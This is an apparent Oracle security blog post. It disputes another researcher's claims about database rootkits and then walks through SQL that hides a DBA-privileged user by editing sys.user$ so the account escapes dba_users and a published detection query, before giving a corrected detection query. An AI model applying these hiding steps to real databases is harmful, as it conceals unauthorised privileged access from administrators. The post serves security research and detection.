Alexander Kornbrust Oracle Security Blog

Few days ago David Litchfield published his presentation „In-memory Backdoors„. It’s an interesting presentation with a new idea and a proof-of-concept code of a 3rd generation memory rootkit for Oracle. Last year I predicted 3rd generation rootkits for databases.

 

But here some additional comments and corrections to his presentation.

 

David claimed that he released information about „Manipulating Views“ in January 2005 in the book „Database Hackers Handbook“. This is not correct. The „Database Hackers Handbook“ was released in July 2005 not January 2005. Just a difference of 6 month…. and after my black hat  2005 presentation in April 2005. Even if David sent this information to his publisher 6 month in advance,  I sent my blackhat presentation about rootkits to the Black Hat organizer in December 2004…

 

And the „Database Hackers Handbook“ contains only 1 reference to manipulated views in chapter 2.

„(If you know a bit about Oracle and are wondering why I’m not using the DBA_USERS and DBA_ROLE_PRIVS views, see the last chapter in the Oracle section—you can’t trust views.) This is enough on users and roles at the moment. Let’s look at how database users are authenticated.„

==> BTW the select statement „select name,password from sys.user$ where type#=1;“ is not correct. The correct statement to get all users is „select name,password from sys.user$ where type#<>1;„

 

I was not able to find this information because the last  Oracle chapter (chapter 5) does not contain the word „view“. But I am quite sure that David can post the page where this information is written in the book.

 

But now back to the content of the presentation and David’s ideas.

 

According to David 1.gen rootkits are easy to find, but 1.Gen rootkits have also some advantages. The advantage of the object (view, synonyms, …) modification concept is that this concept is platform independent. David’s memory rootkit are working on Windows only (so far) and most customers do not use Oracle on Windows for important databases.

—

 

David claims that xstatus is essentially the same as the modification of a view. This is not correct. It’s a different idea with the same result. I think that the concept of updating data for manipulation reasons is more powerful than manipulating objects and much more difficult to find. 

 

3 days ago I talked with Pete about this issue and I showed Pete how to create invisible users without getting caught by David’s SQL statement („ SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS„). 

 

Here is the way how to do it… 

 

————- tests performed on 10.2.0.3 with Oct 2007 CPU ——————–

— We create aN user called U1 (user#=76 on my system) with DBA privileges

SQL> create user u1 identified by u1;

SQL> grant dba to u1;

—

SQL> select user#, name, datats# from sys.user$;

         0 SYS                                     0

         1 PUBLIC                                  0

        76 U1                                      5

…

 

— Now we modify the result of the table as mentioned by David in his presentation

SQL> update sys.user$ set datats#=31337 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— The user is no longer visible in dba_users

— Now we compare the base table sys.user$ with the view dba_users and we get the difference between sys.user$ and dba_users (as mentioned in the presentation)

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

— But does the statement really work in all cases? No!

 

— Why only updating 1 column, let’s change type# too 😉

— type#<0 are not working (if the database was restarted)

—

SQL> update sys.user$ set type#=2 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— Now we run the query to get invisible user from David („Current rootkits trivial to spot“)

— But the query misses this trivial change ;-). 

— But it’s not a shame. My former SQL statements to check for hidden users

— were also wrong. Also Pete’s, Laszlo, … statement to get users from sys.user$ are only partially correct 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

no rows selected

————-

 

— It is important to restart the database 

— but the connect u1/u1 still works

SQL> conn u1/u1

 

— To get invisible users you should use type#!=0

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

—

 

I think the concept of modifying data to change results is underestimated and really powerful and much more difficult to find (checksums are normally not possible). I have already some interesting ideas in mind…

 

 

The in-memory rootkit is a good work from David.